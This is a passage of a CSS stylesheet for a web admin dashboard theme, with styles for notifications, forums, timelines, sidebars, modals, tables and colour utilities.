24px;\n    float: left;\n    color: #FFF;\n    padding-right: 0.5em;\n    margin: auto 0.5em auto -1.5em;\n}\n\n#toast-container > div {\n    box-shadow: 0 0 3px #999;\n    opacity: .9;\n    -ms-filter: alpha(opacity=90);\n    filter: alpha(opacity=90);\n}\n\n#toast-container >:hover {\n    box-shadow: 0 0 4px #999;\n    opacity: 1;\n    -ms-filter: alpha(opacity=100);\n    filter: alpha(opacity=100);\n    cursor: pointer;\n}\n\n.toast {\n    background-color: #1ab394;\n}\n\n.toast-success {\n    background-color: #1ab394;\n}\n\n.toast-error {\n    background-color: #ed5565;\n}\n\n.toast-info {\n    background-color: #23c6c8;\n}\n\n.toast-warning {\n    background-color: #f8ac59;\n}\n\n.toast-top-full-width {\n    margin-top: 20px;\n}\n\n.toast-bottom-full-width {\n    margin-bottom: 20px;\n}\n\n\n/* Image cropper style */\n\n.img-container,\n.img-preview {\n    overflow: hidden;\n    text-align: center;\n    width: 100%;\n}\n\n.img-preview-sm {\n    height: 130px;\n    width: 200px;\n}\n\n\n/* Forum styles  */\n\n.forum-post-container .media {\n    margin: 10px 10px 10px 10px;\n    padding: 20px 10px 20px 10px;\n    border-bottom: 1px solid #f1f1f1;\n}\n\n.forum-avatar {\n    float: left;\n    margin-right: 20px;\n    text-align: center;\n    width: 110px;\n}\n\n.forum-avatar .img-circle {\n    height: 48px;\n    width: 48px;\n}\n\n.author-info {\n    color: #676a6c;\n    font-size: 11px;\n    margin-top: 5px;\n    text-align: center;\n}\n\n.forum-post-info {\n    padding: 9px 12px 6px 12px;\n    background: #f9f9f9;\n    border: 1px solid #f1f1f1;\n}\n\n.media-body > .media {\n    background: #f9f9f9;\n    border-radius: 3px;\n    border: 1px solid #f1f1f1;\n}\n\n.forum-post-container .media-body .photos {\n    margin: 10px 0;\n}\n\n.forum-photo {\n    max-width: 140px;\n    border-radius: 3px;\n}\n\n.media-body > .media .forum-avatar {\n    width: 70px;\n    margin-right: 10px;\n}\n\n.media-body > .media .forum-avatar .img-circle {\n    height: 38px;\n    width: 38px;\n}\n\n.mid-icon {\n    font-size: 66px;\n}\n\n.forum-item {\n    margin: 10px 0;\n    padding: 10px 0 20px;\n    border-bottom: 1px solid #f1f1f1;\n}\n\n.views-number {\n    font-size: 24px;\n    line-height: 18px;\n    font-weight: 400;\n}\n\n.forum-container,\n.forum-post-container {\n    padding: 30px !important;\n}\n\n.forum-item small {\n    color: #999;\n}\n\n.forum-item .forum-sub-title {\n    color: #999;\n    margin-left: 50px;\n}\n\n.forum-title {\n    margin: 15px 0 15px 0;\n}\n\n.forum-info {\n    text-align: center;\n}\n\n.forum-desc {\n    color: #999;\n}\n\n.forum-icon {\n    float: left;\n    width: 30px;\n    margin-right: 20px;\n    text-align: center;\n}\n\na.forum-item-title {\n    color: inherit;\n    display: block;\n    font-size: 18px;\n    font-weight: 600;\n}\n\na.forum-item-title:hover {\n    color: inherit;\n}\n\n.forum-icon .fa {\n    font-size: 30px;\n    margin-top: 8px;\n    color: #9b9b9b;\n}\n\n.forum-item.active .fa {\n    color: #1ab394;\n}\n\n.forum-item.active a.forum-item-title {\n    color: #1ab394;\n}\n\n@media (max-width: 992px) {\n    .forum-info {\n        margin: 15px 0 10px 0px;\n        /* Comment this is you want to show forum info in small devices */\n        display: none;\n    }\n    .forum-desc {\n        float: none !important;\n    }\n}\n\n\n/* New Timeline style */\n\n.vertical-container {\n    /* this class is used to give a max-width to the element it is applied to, and center it horizontally when it reaches that max-width */\n    width: 90%;\n    max-width: 1170px;\n    margin: 0 auto;\n}\n\n.vertical-container::after {\n    /* clearfix */\n    content: '';\n    display: table;\n    clear: both;\n}\n\n#vertical-timeline {\n    position: relative;\n    padding: 0;\n    margin-top: 2em;\n    margin-bottom: 2em;\n}\n\n#vertical-timeline::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 18px;\n    height: 100%;\n    width: 4px;\n    background: #f1f1f1;\n}\n\n.vertical-timeline-content .btn {\n    float: right;\n}\n\n#vertical-timeline.light-timeline:before {\n    background: #e7eaec;\n}\n\n.dark-timeline .vertical-timeline-content:before {\n    border-color: transparent #f5f5f5 transparent transparent;\n}\n\n.dark-timeline.center-orientation .vertical-timeline-content:before {\n    border-color: transparent transparent transparent #f5f5f5;\n}\n\n.dark-timeline .vertical-timeline-block:nth-child(2n) .vertical-timeline-content:before,\n.dark-timeline.center-orientation .vertical-timeline-block:nth-child(2n) .vertical-timeline-content:before {\n    border-color: transparent #f5f5f5 transparent transparent;\n}\n\n.dark-timeline .vertical-timeline-content,\n.dark-timeline.center-orientation .vertical-timeline-content {\n    background: #f5f5f5;\n}\n\n@media only screen and (min-width: 1170px) {\n    #vertical-timeline.center-orientation {\n        margin-top: 3em;\n        margin-bottom: 3em;\n    }\n    #vertical-timeline.center-orientation:before {\n        left: 50%;\n        margin-left: -2px;\n    }\n}\n\n@media only screen and (max-width: 1170px) {\n    .center-orientation.dark-timeline .vertical-timeline-content:before {\n        border-color: transparent #f5f5f5 transparent transparent;\n    }\n}\n\n.vertical-timeline-block {\n    position: relative;\n    margin: 2em 0;\n}\n\n.vertical-timeline-block:after {\n    content: \"\";\n    display: table;\n    clear: both;\n}\n\n.vertical-timeline-block:first-child {\n    margin-top: 0;\n}\n\n.vertical-timeline-block:last-child {\n    margin-bottom: 0;\n}\n\n@media only screen and (min-width: 1170px) {\n    .center-orientation .vertical-timeline-block {\n        margin: 4em 0;\n    }\n    .center-orientation .vertical-timeline-block:first-child {\n        margin-top: 0;\n    }\n    .center-orientation .vertical-timeline-block:last-child {\n        margin-bottom: 0;\n    }\n}\n\n.vertical-timeline-icon {\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 40px;\n    height: 40px;\n    border-radius: 50%;\n    font-size: 16px;\n    border: 3px solid #f1f1f1;\n    text-align: center;\n}\n\n.vertical-timeline-icon i {\n    display: block;\n    width: 24px;\n    height: 24px;\n    position: relative;\n    left: 50%;\n    top: 50%;\n    margin-left: -12px;\n    margin-top: -9px;\n}\n\n@media only screen and (min-width: 1170px) {\n    .center-orientation .vertical-timeline-icon {\n        width: 50px;\n        height: 50px;\n        left: 50%;\n        margin-left: -25px;\n        -webkit-transform: translateZ(0);\n        -webkit-backface-visibility: hidden;\n        font-size: 19px;\n    }\n    .center-orientation .vertical-timeline-icon i {\n        margin-left: -12px;\n        margin-top: -10px;\n    }\n    .center-orientation .cssanimations .vertical-timeline-icon.is-hidden {\n        visibility: hidden;\n    }\n}\n\n.vertical-timeline-content {\n    position: relative;\n    margin-left: 60px;\n    background: white;\n    border-radius: 0.25em;\n    padding: 1em;\n}\n\n.vertical-timeline-content:after {\n    content: \"\";\n    display: table;\n    clear: both;\n}\n\n.vertical-timeline-content h2 {\n    font-weight: 400;\n    margin-top: 4px;\n}\n\n.vertical-timeline-content p {\n    margin: 1em 0;\n    line-height: 1.6;\n}\n\n.vertical-timeline-content .vertical-date {\n    float: left;\n    font-weight: 500;\n}\n\n.vertical-date small {\n    color: #1ab394;\n    font-weight: 400;\n}\n\n.vertical-timeline-content::before {\n    content: '';\n    position: absolute;\n    top: 16px;\n    right: 100%;\n    height: 0;\n    width: 0;\n    border: 7px solid transparent;\n    border-right: 7px solid white;\n}\n\n@media only screen and (min-width: 768px) {\n    .vertical-timeline-content h2 {\n        font-size: 18px;\n    }\n    .vertical-timeline-content p {\n        font-size: 13px;\n    }\n}\n\n@media only screen and (min-width: 1170px) {\n    .center-orientation .vertical-timeline-content {\n        margin-left: 0;\n        padding: 1.6em;\n        width: 45%;\n    }\n    .center-orientation .vertical-timeline-content::before {\n        top: 24px;\n        left: 100%;\n        border-color: transparent;\n        border-left-color: white;\n    }\n    .center-orientation .vertical-timeline-content .btn {\n        float: left;\n    }\n    .center-orientation .vertical-timeline-content .vertical-date {\n        position: absolute;\n        width: 100%;\n        left: 122%;\n        top: 2px;\n        font-size: 14px;\n    }\n    .center-orientation .vertical-timeline-block:nth-child(even) .vertical-timeline-content {\n        float: right;\n    }\n    .center-orientation .vertical-timeline-block:nth-child(even) .vertical-timeline-content::before {\n        top: 24px;\n        left: auto;\n        right: 100%;\n        border-color: transparent;\n        border-right-color: white;\n    }\n    .center-orientation .vertical-timeline-block:nth-child(even) .vertical-timeline-content .btn {\n        float: right;\n    }\n    .center-orientation .vertical-timeline-block:nth-child(even) .vertical-timeline-content .vertical-date {\n        left: auto;\n        right: 122%;\n        text-align: right;\n    }\n    .center-orientation .cssanimations .vertical-timeline-content.is-hidden {\n        visibility: hidden;\n    }\n}\n\n.sidebard-panel {\n    width: 220px;\n    background: #ebebed;\n    padding: 10px 20px;\n    position: absolute;\n    right: 0;\n}\n\n.sidebard-panel .feed-element img.img-circle {\n    width: 32px;\n    height: 32px;\n}\n\n.sidebard-panel .feed-element,\n.media-body,\n.sidebard-panel p {\n    font-size: 12px;\n}\n\n.sidebard-panel .feed-element {\n    margin-top: 20px;\n    padding-bottom: 0;\n}\n\n.sidebard-panel .list-group {\n    margin-bottom: 10px;\n}\n\n.sidebard-panel .list-group .list-group-item {\n    padding: 5px 0;\n    font-size: 12px;\n    border: 0;\n}\n\n.sidebar-content .wrapper,\n.wrapper.sidebar-content {\n    padding-right: 240px !important;\n}\n\n#right-sidebar {\n    background-color: #fff;\n    border-left: 1px solid #e7eaec;\n    border-top: 1px solid #e7eaec;\n    overflow: hidden;\n    position: fixed;\n    top: 60px;\n    width: 260px !important;\n    z-index: 1009;\n    bottom: 0;\n    right: -260px;\n}\n\n#right-sidebar.sidebar-open {\n    right: 0;\n}\n\n#right-sidebar.sidebar-open.sidebar-top {\n    top: 0;\n    border-top: none;\n}\n\n.sidebar-container ul.nav-tabs {\n    border: none;\n}\n\n.sidebar-container ul.nav-tabs.navs-4 li {\n    width: 25%;\n}\n\n.sidebar-container ul.nav-tabs.navs-3 li {\n    width: 33.3333%;\n}\n\n.sidebar-container ul.nav-tabs.navs-2 li {\n    width: 50%;\n}\n\n.sidebar-container ul.nav-tabs li {\n    border: none;\n}\n\n.sidebar-container ul.nav-tabs li a {\n    border: none;\n    padding: 12px 10px;\n    margin: 0;\n    border-radius: 0;\n    background: #2f4050;\n    color: #fff;\n    text-align: center;\n    border-right: 1px solid #334556;\n}\n\n.sidebar-container ul.nav-tabs li.active a {\n    border: none;\n    background: #f9f9f9;\n    color: #676a6c;\n    font-weight: bold;\n}\n\n.sidebar-container .nav-tabs > li.active > a:hover,\n.sidebar-container .nav-tabs > li.active > a:focus {\n    border: none;\n}\n\n.sidebar-container ul.sidebar-list {\n    margin: 0;\n    padding: 0;\n}\n\n.sidebar-container ul.sidebar-list li {\n    border-bottom: 1px solid #e7eaec;\n    padding: 15px 20px;\n    list-style: none;\n    font-size: 12px;\n}\n\n.sidebar-container .sidebar-message:nth-child(2n+2) {\n    background: #f9f9f9;\n}\n\n.sidebar-container ul.sidebar-list li a {\n    text-decoration: none;\n    color: inherit;\n}\n\n.sidebar-container .sidebar-content {\n    padding: 15px 20px;\n    font-size: 12px;\n}\n\n.sidebar-container .sidebar-title {\n    background: #f9f9f9;\n    padding: 20px;\n    border-bottom: 1px solid #e7eaec;\n}\n\n.sidebar-container .sidebar-title h3 {\n    margin-bottom: 3px;\n    padding-left: 2px;\n}\n\n.sidebar-container .tab-content h4 {\n    margin-bottom: 5px;\n}\n\n.sidebar-container .sidebar-message > a > .pull-left {\n    margin-right: 10px;\n}\n\n.sidebar-container .sidebar-message > a {\n    text-decoration: none;\n    color: inherit;\n}\n\n.sidebar-container .sidebar-message {\n    padding: 15px 20px;\n}\n\n.sidebar-container .sidebar-message .message-avatar {\n    height: 38px;\n    width: 38px;\n    border-radius: 50%;\n}\n\n.sidebar-container .setings-item {\n    padding: 15px 20px;\n    border-bottom: 1px solid #e7eaec;\n}\n\nbody {\n    font-family: \"open sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n    font-size: 13px;\n    color: #676a6c;\n    overflow-x: hidden;\n}\n\nhtml,\nbody {\n    height: 100%;\n}\n\nbody.full-height-layout #wrapper,\nbody.full-height-layout #page-wrapper {\n    height: 100%;\n}\n\n#page-wrapper {\n    min-height: auto;\n}\n\nbody.boxed-layout {\n    background: url('patterns/shattered.png');\n}\n\nbody.boxed-layout #wrapper {\n    background-color: #2f4050;\n    max-width: 1200px;\n    margin: 0 auto;\n}\n\n.top-navigation.boxed-layout #wrapper,\n.boxed-layout #wrapper.top-navigation {\n    max-width: 1300px !important;\n}\n\n.block {\n    display: block;\n}\n\n.clear {\n    display: block;\n    overflow: hidden;\n}\n\na {\n    cursor: pointer;\n}\n\na:hover,\na:focus {\n    text-decoration: none;\n}\n\n.border-bottom {\n    border-bottom: 1px solid #e7eaec !important;\n}\n\n.font-bold {\n    font-weight: 600;\n}\n\n.font-noraml {\n    font-weight: 400;\n}\n\n.text-uppercase {\n    text-transform: uppercase;\n}\n\n.b-r {\n    border-right: 1px solid #e7eaec;\n}\n\n.hr-line-dashed {\n    border-top: 1px dashed #e7eaec;\n    color: #ffffff;\n    background-color: #ffffff;\n    height: 1px;\n    margin: 20px 0;\n}\n\n.hr-line-solid {\n    border-bottom: 1px solid #e7eaec;\n    background-color: rgba(0, 0, 0, 0);\n    border-style: solid !important;\n    margin-top: 15px;\n    margin-bottom: 15px;\n}\n\nvideo {\n    width: 100% !important;\n    height: auto !important;\n}\n\n\n/* GALLERY */\n\n.gallery > .row > div {\n    margin-bottom: 15px;\n}\n\n.fancybox img {\n    margin-bottom: 5px;\n    /* Only for demo */\n    width: 24%;\n}\n\n\n/* Summernote text editor  */\n\n.note-editor {\n    height: auto!important;\n    min-height: 100px;\n    border: solid 1px #e5e6e7;\n}\n\n\n/* MODAL */\n\n.modal-content {\n    background-clip: padding-box;\n    background-color: #FFFFFF;\n    border: 1px solid rgba(0, 0, 0, 0);\n    border-radius: 4px;\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.3);\n    outline: 0 none;\n}\n\n.modal-dialog {\n    z-index: 1200;\n}\n\n.modal-body {\n    padding: 20px 30px 30px 30px;\n}\n\n.inmodal .modal-body {\n    background: #f8fafb;\n}\n\n.inmodal .modal-header {\n    padding: 30px 15px;\n    text-align: center;\n}\n\n.animated.modal.fade .modal-dialog {\n    -webkit-transform: none;\n    -ms-transform: none;\n    transform: none;\n}\n\n.inmodal .modal-title {\n    font-size: 26px;\n}\n\n.inmodal .modal-icon {\n    font-size: 84px;\n    color: #e2e3e3;\n}\n\n.modal-footer {\n    margin-top: 0;\n}\n\n\n/* WRAPPERS */\n\n#wrapper {\n    width: 100%;\n    overflow-x: hidden;\n    background-color: #2f4050;\n}\n\n.wrapper {\n    padding: 0 20px;\n}\n\n.wrapper-content {\n    padding: 20px;\n}\n\n#page-wrapper {\n    padding: 0 15px;\n    position: inherit;\n    margin: 0 0 0 220px;\n}\n\n.title-action {\n    text-align: right;\n    padding-top: 30px;\n}\n\n.ibox-content h1,\n.ibox-content h2,\n.ibox-content h3,\n.ibox-content h4,\n.ibox-content h5,\n.ibox-title h1,\n.ibox-title h2,\n.ibox-title h3,\n.ibox-title h4,\n.ibox-title h5 {\n    margin-top: 5px;\n}\n\nul.unstyled,\nol.unstyled {\n    list-style: none outside none;\n    margin-left: 0;\n}\n\n.big-icon {\n    font-size: 160px;\n    color: #e5e6e7;\n}\n\n\n/* FOOTER */\n\n.footer {\n    background: none repeat scroll 0 0 white;\n    border-top: 1px solid #e7eaec;\n    overflow: hidden;\n    padding: 10px 20px;\n    margin: 0 -15px;\n    height: 36px;\n}\n\n.footer.fixed_full {\n    position: fixed;\n    bottom: 0;\n    left: 0;\n    right: 0;\n    z-index: 1000;\n    padding: 10px 20px;\n    background: white;\n    border-top: 1px solid #e7eaec;\n}\n\n.footer.fixed {\n    position: fixed;\n    bottom: 0;\n    left: 0;\n    right: 0;\n    z-index: 1000;\n    padding: 10px 20px;\n    background: white;\n    border-top: 1px solid #e7eaec;\n    margin-left: 220px;\n}\n\nbody.mini-navbar .footer.fixed,\nbody.body-small.mini-navbar .footer.fixed {\n    margin: 0 0 0 70px;\n}\n\nbody.mini-navbar.canvas-menu .footer.fixed,\nbody.canvas-menu .footer.fixed {\n    margin: 0 !important;\n}\n\nbody.fixed-sidebar.body-small.mini-navbar .footer.fixed {\n    margin: 0 0 0 220px;\n}\n\nbody.body-small .footer.fixed {\n    margin-left: 0px;\n}\n\n\n/* PANELS */\n\n.page-heading {\n    border-top: 0;\n    padding: 0px 20px 20px;\n}\n\n.panel-heading h1,\n.panel-heading h2 {\n    margin-bottom: 5px;\n}\n\n\n/*CONTENTTABS*/\n\n.content-tabs {\n    position: relative;\n    height: 42px;\n    background: #fafafa;\n    line-height: 40px;\n}\n\n.content-tabs .roll-nav,\n.page-tabs-list {\n    position: absolute;\n    width: 40px;\n    height: 40px;\n    text-align: center;\n    color: #999;\n    z-index: 2;\n    top: 0;\n}\n\n.content-tabs .roll-left {\n    left: 0;\n    border-right: solid 1px #eee;\n}\n\n.content-tabs .roll-right {\n    right: 0;\n    border-left: solid 1px #eee;\n}\n\n.content-tabs button {\n    background: #fff;\n    border: 0;\n    height: 40px;\n    width: 40px;\n    outline: none;\n}\n\n.content-tabs button:hover {\n    background: #fafafa;\n}\n\nnav.page-tabs {\n    margin-left: 40px;\n    width: 100000px;\n    height: 40px;\n    overflow: hidden;\n}\n\nnav.page-tabs .page-tabs-content {\n    float: left;\n}\n\n.page-tabs a {\n    display: block;\n    float: left;\n    border-right: solid 1px #eee;\n    padding: 0 15px;\n}\n\n.page-tabs a i:hover {\n    color: #c00;\n}\n\n.page-tabs a:hover,\n.content-tabs .roll-nav:hover {\n    color: #777;\n    background: #f2f2f2;\n    cursor: pointer;\n}\n\n.roll-right.J_tabRight {\n    right: 140px;\n}\n\n.roll-right.btn-group {\n    right: 60px;\n    width: 80px;\n    padding: 0;\n}\n\n.roll-right.btn-group button {\n    width: 80px;\n}\n\n.roll-right.J_tabExit {\n    background: #fff;\n    height: 40px;\n    width: 60px;\n    outline: none;\n}\n\n.dropdown-menu-right {\n    left: auto;\n}\n\n#content-main {\n    height: calc(100% - 42px);\n    overflow: hidden;\n}\n\n.fixed-nav #content-main {\n    height: calc(100% - 80px);\n    overflow: hidden;\n}\n\n\n/* TABLES */\n\n.table-bordered {\n    border: 1px solid #EBEBEB;\n}\n\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n    background-color: #F5F5F6;\n    border-bottom-width: 1px;\n}\n\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n    border: 1px solid #e7e7e7;\n}\n\n.table > thead > tr > th {\n    border-bottom: 1px solid #DDDDDD;\n    vertical-align: bottom;\n}\n\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n    border-top: 1px solid #e7eaec;\n    line-height: 1.42857;\n    padding: 8px;\n    vertical-align: middle;\n}\n\n\n/* PANELS */\n\n.panel.blank-panel {\n    background: none;\n    margin: 0;\n}\n\n.blank-panel .panel-heading {\n    padding-bottom: 0;\n}\n\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n    -moz-border-bottom-colors: none;\n    -moz-border-left-colors: none;\n    -moz-border-right-colors: none;\n    -moz-border-top-colors: none;\n    background: none;\n    border-color: #dddddd #dddddd rgba(0, 0, 0, 0);\n    border-bottom: #f3f3f4;\n    -webkit-border-image: none;\n    -o-border-image: none;\n    border-image: none;\n    border-style: solid;\n    border-width: 1px;\n    color: #555555;\n    cursor: default;\n}\n\n.nav.nav-tabs li {\n    background: none;\n    border: none;\n}\n\n.nav-tabs > li > a {\n    color: #A7B1C2;\n    font-weight: 600;\n    padding: 10px 20px 10px 25px;\n}\n\n.nav-tabs > li > a:hover,\n.nav-tabs > li > a:focus {\n    background-color: #e6e6e6;\n    color: #676a6c;\n}\n\n.ui-tab .tab-content {\n    padding: 20px 0px;\n}\n\n\n/* GLOBAL  */\n\n.no-padding {\n    padding: 0 !important;\n}\n\n.no-borders {\n    border: none !important;\n}\n\n.no-margins {\n    margin: 0 !important;\n}\n\n.no-top-border {\n    border-top: 0 !important;\n}\n\n.ibox-content.text-box {\n    padding-bottom: 0px;\n    padding-top: 15px;\n}\n\n.border-left-right {\n    border-left: 1px solid #e7eaec;\n    border-right: 1px solid #e7eaec;\n    border-top: none;\n    border-bottom: none;\n}\n\n.border-left {\n    border-left: 1px solid #e7eaec;\n    border-right: none;\n    border-top: none;\n    border-bottom: none;\n}\n\n.border-right {\n    border-left: none;\n    border-right: 1px solid #e7eaec;\n    border-top: none;\n    border-bottom: none;\n}\n\n.full-width {\n    width: 100% !important;\n}\n\n.link-block {\n    font-size: 12px;\n    padding: 10px;\n}\n\n.nav.navbar-top-links .link-block a {\n    font-size: 12px;\n}\n\n.link-block a {\n    font-size: 10px;\n    color: inherit;\n}\n\nbody.mini-navbar .branding {\n    display: none;\n}\n\nimg.circle-border {\n    border: 6px solid #FFFFFF;\n    border-radius: 50%;\n}\n\n.branding {\n    float: left;\n    color: #FFFFFF;\n    font-size: 18px;\n    font-weight: 600;\n    padding: 17px 20px;\n    text-align: center;\n    background-color: #1ab394;\n}\n\n.login-panel {\n    margin-top: 25%;\n}\n\n.page-header {\n    padding: 20px 0 9px;\n    margin: 0 0 20px;\n    border-bottom: 1px solid #eeeeee;\n}\n\n.fontawesome-icon-list {\n    margin-top: 22px;\n}\n\n.fontawesome-icon-list .fa-hover a {\n    overflow: hidden;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n    display: block;\n    color: #222222;\n    line-height: 32px;\n    height: 32px;\n    padding-left: 10px;\n    border-radius: 4px;\n}\n\n.fontawesome-icon-list .fa-hover a .fa {\n    width: 32px;\n    font-size: 14px;\n    display: inline-block;\n    text-align: right;\n    margin-right: 10px;\n}\n\n.fontawesome-icon-list .fa-hover a:hover {\n    background-color: #1d9d74;\n    color: #ffffff;\n    text-decoration: none;\n}\n\n.fontawesome-icon-list .fa-hover a:hover .fa {\n    font-size: 30px;\n    vertical-align: -6px;\n}\n\n.fontawesome-icon-list .fa-hover a:hover .text-muted {\n    color: #bbe2d5;\n}\n\n.feature-list .col-md-4 {\n    margin-bottom: 22px;\n}\n\n.feature-list h4 .fa:before {\n    vertical-align: -10%;\n    font-size: 28px;\n    display: inline-block;\n    width: 1.07142857em;\n    text-align: center;\n    margin-right: 5px;\n}\n\n.ui-draggable .ibox-title {\n    cursor: move;\n}\n\n.breadcrumb {\n    background-color: #ffffff;\n    padding: 0;\n    margin-bottom: 0;\n}\n\n.breadcrumb > li a {\n    color: inherit;\n}\n\n.breadcrumb > .active {\n    color: inherit;\n}\n\ncode {\n    background-color: #F9F2F4;\n    border-radius: 4px;\n    color: #ca4440;\n    font-size: 90%;\n    padding: 2px 4px;\n    white-space: nowrap;\n}\n\n.ibox {\n    clear: both;\n    margin-bottom: 25px;\n    margin-top: 0;\n    padding: 0;\n}\n\n.ibox.collapsed .ibox-content {\n    display: none;\n}\n\n.ibox.collapsed .fa.fa-chevron-up:before {\n    content: \"\\f078\";\n}\n\n.ibox.collapsed .fa.fa-chevron-down:before {\n    content: \"\\f077\";\n}\n\n.ibox:after,\n.ibox:before {\n    display: table;\n}\n\n.ibox-title {\n    -moz-border-bottom-colors: none;\n    -moz-border-left-colors: none;\n    -moz-border-right-colors: none;\n    -moz-border-top-colors: none;\n    background-color: #ffffff;\n    border-color: #e7eaec;\n    -webkit-border-image: none;\n    -o-border-image: none;\n    border-image: none;\n    border-style: solid solid none;\n    border-width: 4px 0px 0;\n    color: inherit;\n    margin-bottom: 0;\n    padding: 14px 15px 7px;\n    min-height: 48px;\n}\n\n.ibox-content {\n    background-color: #ffffff;\n    color: inherit;\n    padding: 15px 20px 20px 20px;\n    border-color: #e7eaec;\n    -webkit-border-image: none;\n    -o-border-image: none;\n    border-image: none;\n    border-style: solid solid none;\n    border-width: 1px 0px;\n}\n\ntable.table-mail tr td {\n    padding: 12px;\n}\n\n.table-mail .check-mail {\n    padding-left: 20px;\n}\n\n.table-mail .mail-date {\n    padding-right: 20px;\n}\n\n.star-mail,\n.check-mail {\n    width: 40px;\n}\n\n.unread td a,\n.unread td {\n    font-weight: 600;\n    color: inherit;\n}\n\n.read td a,\n.read td {\n    font-weight: normal;\n    color: inherit;\n}\n\n.unread td {\n    background-color: #f9f8f8;\n}\n\n.ibox-content {\n    clear: both;\n}\n\n.ibox-heading {\n    background-color: #f3f6fb;\n    border-bottom: none;\n}\n\n.ibox-heading h3 {\n    font-weight: 200;\n    font-size: 24px;\n}\n\n.ibox-title h5 {\n    display: inline-block;\n    font-size: 14px;\n    margin: 0 0 7px;\n    padding: 0;\n    text-overflow: ellipsis;\n    float: left;\n}\n\n.ibox-title .label {\n    float: left;\n    margin-left: 4px;\n}\n\n.ibox-tools {\n    display: inline-block;\n    float: right;\n    margin-top: 0;\n    position: relative;\n    padding: 0;\n}\n\n.ibox-tools a {\n    cursor: pointer;\n    margin-left: 5px;\n    color: #c4c4c4;\n}\n\n.ibox-tools a.btn-primary {\n    color: #fff;\n}\n\n.ibox-tools .dropdown-menu > li > a {\n    padding: 4px 10px;\n    font-size: 12px;\n}\n\n.ibox .open > .dropdown-menu {\n    left: auto;\n    right: 0;\n}\n\n\n/* BACKGROUNDS */\n\n.gray-bg {\n    background-color: #f3f3f4;\n}\n\n.white-bg {\n    background-color: #ffffff;\n}\n\n.navy-bg {\n    background-color: #1ab394;\n    color: #ffffff;\n}\n\n.blue-bg {\n    background-color: #1c84c6;\n    color: #ffffff;\n}\n\n.lazur-bg {\n    background-color: #23c6c8;\n    color: #ffffff;\n}\n\n.yellow-bg {\n    background-color: #f8ac59;\n    color: #ffffff;\n}\n\n.red-bg {\n    background-color: #ed5565;\n    color: #ffffff;\n}\n\n.black-bg {\n    background-color: #262626;\n}\n\n.panel-primary {\n    border-color: #1ab394;\n}\n\n.panel-primary > .panel-heading {\n    background-color: #1ab394;\n    border-color: #1ab394;\n}\n\n.panel-success {\n    border-color: #1c84c6;\n}\n\n.panel-success > .panel-heading {\n    background-color: #1c84c6;\n    border-color: #1c84c6;\n    color: #ffffff;\n}\n\n.panel-info {\n    border-color: #23c6c8;\n}\n\n.panel-info > .panel-heading {\n    background-color: #23c6c8;\n    border-color: #23c6c8;\n    color: #ffffff;\n}\n\n.panel-warning {\n    border-color: #f8ac59;\n}\n\n.panel-warning > .panel-heading {\n    background-color: #f8ac59;\n    border-color: #f8ac59;\n    color: #ffffff;\n}\n\n.panel-danger {\n    border-color: #ed5565;\n}\n\n.panel-danger > .panel-heading {\n    background-color: #ed5565;\n    border-color: #ed5565;\n    color: #ffffff;\n}\n\n.progress-bar {\n    background-color: #1ab394;\n}\n\n.progress-small,\n.progress-small .progress-bar {\n    height: 10px;\n}\n\n.progress-small,\n.progress-mini {\n    margin-top: 5px;\n}\n\n.progress-mini,\n.progress-mini .progress-bar {\n    height: 5px;\n    margin-bottom: 0px;\n}\n\n.progress-bar-navy-light {\n    background-color: #3dc7ab;\n}\n\n.progress-bar-success {\n    background-color: #1c84c6;\n}\n\n.progress-bar-info {\n    background-color: #23c6c8;\n}\n\n.progress-bar-warning {\n    background-color: #f8ac59;\n}\n\n.progress-bar-danger {\n    background-color: #ed5565;\n}\n\n.panel-title {\n    font-size: inherit;\n}\n\n.jumbotron {\n    border-radius: 6px;\n    padding: 40px;\n}\n\n.jumbotron h1 {\n    margin-top: 0;\n}\n\n\n/* COLORS */\n\n.text-navy {\n    color: #1ab394;\n}\n\n.text-primary {\n    color: inherit;\n}\n\n.text-success {\n    color: #1c84c6;\n}\n\n.text-info {\n    color: #23c6c8;\n}\n\n.text-warning {\n    color: #f8ac59;\n}\n\n.text-danger {\n    color: #ed5565;\n}\n\n.text-muted {\n    color: #888888;\n}\n\n.simple_tag {\n    background-color: #f3f3f4;\n    border: 1px solid #e7eaec;\n    border-radius: 2px;\n    color: inherit;\n    font-size: 10px;\n    margin-right: 5px;\n    margin-top: 5px;\n    padding: 5px 12px;\n    display: inline-block;\n}\n\n.img-shadow {\n    box-shadow: 0px 0px 3px 0px #919191;\n}\n\n\n/* For handle diferent bg color in AngularJS version */\n\n.dashboards\\.dashboard_2 nav.navbar,\n.dashboards\\.dashboard_3 nav.navbar,\n.mailbox\\.inbox nav.navbar,\n.mailbox\\.email_view nav.navbar,\n.mailbox\\.email_compose nav.navbar,\n.dashboards\\.dashboard_4_1 nav.navbar {\n    background: #fff;\n}\n\n\n/* For handle diferent bg color in MVC version */\n\n.Dashboard_2 .navbar.navbar-static-top,\n.Dashboard_3 .navbar.navbar-static-top,\n.Dashboard_4_1 .navbar.navbar-static-top,\n.ComposeEmail .navbar.navbar-static-top,\n.EmailView .navbar.navbar-static-top,\n.Inbox .navbar.navbar-static-top {\n    background: #fff;\n}\n\na.close-canvas-menu {\n    position: absolute;\n    top: 10px;\n    right: 15px;\n    z-index: 1011;\n    color: #a7b1c2;\n}\n\na.close-canvas-menu:hover {\n    color: #fff;\n}\n\n\n/* FULL HEIGHT */\n\n.full-height {\n    height: 100%;\n}\n\n.fh-breadcrumb {\n    height: calc(100% - 196px);\n    margin: 0 -15px;\n    position: relative;\n}\n\n.fh-no-breadcrumb {\n    height: calc(100% - 99px);\n    margin: 0 -15px;\n    position: relative;\n}\n\n.fh-column {\n    background: #fff;\n    height: 100%;\n    width: 240px;\n    float: left;\n}\n\n.modal-backdrop {\n    z-index: 2040 !important;\n}\n\n.modal {\n    z-index: 2050 